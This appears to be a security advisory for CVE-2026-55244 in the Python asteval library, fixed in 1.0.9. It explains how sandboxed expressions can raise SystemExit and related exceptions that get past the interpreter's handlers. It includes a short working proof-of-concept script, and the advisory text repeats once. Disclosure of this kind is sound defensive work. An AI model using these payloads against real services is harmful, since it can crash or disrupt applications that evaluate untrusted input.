CVE-2026-55244

Summary

An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These exceptions are subclasses of BaseException but not Exception, so they bypass the except Exception: safety net in both run() and eval(). The exception propagates verbatim to the calling application, terminating the process or disrupting signal and cleanup handlers.

This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.

Affected Code

asteval/astutils.py, lines 89–108 — FROM_PY exposes dangerous classes to sandbox users:

FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
           'BaseException',          # ← escapes except Exception:
           'BufferError', 'BytesWarning',
           ...
           'GeneratorExit',          # ← escapes except Exception:
           ...
           'KeyboardInterrupt',      # ← escapes except Exception:
           ...
           'SystemExit',             # ← escapes except Exception:
           ...)

asteval/asteval.py, line 322 — run() exception handler:

except Exception:                    # ← does NOT catch BaseException subclasses
    if with_raise and self.expr is not None:
        self.raise_exception(node, expr=self.expr)

asteval/asteval.py, line 370 — eval() exception handler:

except Exception:                    # ← same gap
    if show_errors and not raise_errors:
        ...

asteval/asteval.py, line 264 — raise_exception() raises the class directly:

raise exc(self.error_msg)            # ← when exc=SystemExit, escapes both handlers above

Root Cause

Python's exception hierarchy has two distinct branches under BaseException:

BaseException
├── SystemExit          ← NOT caught by except Exception:
├── KeyboardInterrupt   ← NOT caught by except Exception:
├── GeneratorExit       ← NOT caught by except Exception:
└── Exception           ← caught normally
    ├── RuntimeError
    ├── ValueError
    └── ...

FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes raise SystemExit("msg"), the on_raise() handler calls:

self.raise_exception(None, exc=out.__class__, msg=msg, expr='')

which executes raise SystemExit(msg). This propagates through both except Exception: guards unchecked and surfaces in the calling application.

Proof of Concept

from asteval import Interpreter

# Variant 1: terminate the process
aeval = Interpreter()
try:
    aeval.eval('raise SystemExit("terminated by sandbox user")')
except SystemExit as e:
    print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")

# Variant 2: disrupt signal/finally handling
aeval = Interpreter()
try:
    aeval.eval('raise KeyboardInterrupt("interrupt injected")')
except KeyboardInterrupt as e:
    print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")

# Variant 3: GeneratorExit
aeval = Interpreter()
try:
    aeval.eval('raise GeneratorExit("gen escape")')
except GeneratorExit as e:
    print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")

# Variant 4: BaseException base class
aeval = Interpreter()
try:
    aeval.eval('raise BaseException("base escape")')
except BaseException as e:
    if not isinstance(e, Exception):
        print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")

Output (tested on asteval 1.0.6, Python 3.11/3.12):

[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
[CONFIRMED] GeneratorExit escaped: 'gen escape'
[CONFIRMED] BaseException escaped: 'base escape'

Real-world…

Summary

An attacker who can supply expressions to asteval.Interpreter.eval() can raise SystemExit, KeyboardInterrupt, GeneratorExit, or BaseException from inside the sandbox. These exceptions are subclasses of BaseException but not Exception, so they bypass the except Exception: safety net in both run() and eval(). The exception propagates verbatim to the calling application, terminating the process or disrupting signal and cleanup handlers.

This is distinct from prior vulnerabilities CVE-2025-24359 (format string injection) and GHSA-vp47-9734-prjw (AST mutation TOCTOU), both fixed in 1.0.6. This vector is present in all versions including 1.0.6 and current HEAD.

Affected Code

asteval/astutils.py, lines 89–108 — FROM_PY exposes dangerous classes to sandbox users:

FROM_PY = ('ArithmeticError', 'AssertionError', 'AttributeError',
           'BaseException',          # ← escapes except Exception:
           'BufferError', 'BytesWarning',
           ...
           'GeneratorExit',          # ← escapes except Exception:
           ...
           'KeyboardInterrupt',      # ← escapes except Exception:
           ...
           'SystemExit',             # ← escapes except Exception:
           ...)

asteval/asteval.py, line 322 — run() exception handler:

except Exception:                    # ← does NOT catch BaseException subclasses
    if with_raise and self.expr is not None:
        self.raise_exception(node, expr=self.expr)

asteval/asteval.py, line 370 — eval() exception handler:

except Exception:                    # ← same gap
    if show_errors and not raise_errors:
        ...

asteval/asteval.py, line 264 — raise_exception() raises the class directly:

raise exc(self.error_msg)            # ← when exc=SystemExit, escapes both handlers above

Root Cause

Python's exception hierarchy has two distinct branches under BaseException:

BaseException
├── SystemExit          ← NOT caught by except Exception:
├── KeyboardInterrupt   ← NOT caught by except Exception:
├── GeneratorExit       ← NOT caught by except Exception:
└── Exception           ← caught normally
    ├── RuntimeError
    ├── ValueError
    └── ...

FROM_PY exposes all four non-Exception classes to sandbox users. When a user writes raise SystemExit("msg"), the on_raise() handler calls:

self.raise_exception(None, exc=out.__class__, msg=msg, expr='')

which executes raise SystemExit(msg). This propagates through both except Exception: guards unchecked and surfaces in the calling application.

Proof of Concept

from asteval import Interpreter

# Variant 1: terminate the process
aeval = Interpreter()
try:
    aeval.eval('raise SystemExit("terminated by sandbox user")')
except SystemExit as e:
    print(f"[CONFIRMED] SystemExit escaped: {e.code!r}")

# Variant 2: disrupt signal/finally handling
aeval = Interpreter()
try:
    aeval.eval('raise KeyboardInterrupt("interrupt injected")')
except KeyboardInterrupt as e:
    print(f"[CONFIRMED] KeyboardInterrupt escaped: {str(e)!r}")

# Variant 3: GeneratorExit
aeval = Interpreter()
try:
    aeval.eval('raise GeneratorExit("gen escape")')
except GeneratorExit as e:
    print(f"[CONFIRMED] GeneratorExit escaped: {str(e)!r}")

# Variant 4: BaseException base class
aeval = Interpreter()
try:
    aeval.eval('raise BaseException("base escape")')
except BaseException as e:
    if not isinstance(e, Exception):
        print(f"[CONFIRMED] BaseException escaped: {str(e)!r}")

Output (tested on asteval 1.0.6, Python 3.11/3.12):

[CONFIRMED] SystemExit escaped: 'terminated by sandbox user'
[CONFIRMED] KeyboardInterrupt escaped: 'interrupt injected'
[CONFIRMED] GeneratorExit escaped: 'gen escape'
[CONFIRMED] BaseException escaped: 'base escape'

Real-world…

ASTEVAL is an evaluator of Python expressions and statements. Prior to 1.0.9, FROM_PY in asteval/astutils.py exposes BaseException, SystemExit, KeyboardInterrupt, and GeneratorExit to expressions evaluated by asteval.Interpreter.eval(), while run() and eval() in asteval/asteval.py catch Exception rather than these non-Exception BaseException subclasses. When an attacker-controlled expression raises one of these classes, on_raise() passes the class to raise_exception(), and the resulting exception bypasses the interpreter's safety handlers and propagates into the calling application. A consuming service that evaluates untrusted expressions can therefore be terminated or have signal and cleanup handling disrupted, causing denial of service. The separately documented read-only open() capability is not part of this vulnerability. This issue is fixed in version 1.0.9.

These are all security issues fixed in the python313-asteval-1.0.9-1.1 package on the GA media of openSUSE Tumbleweed.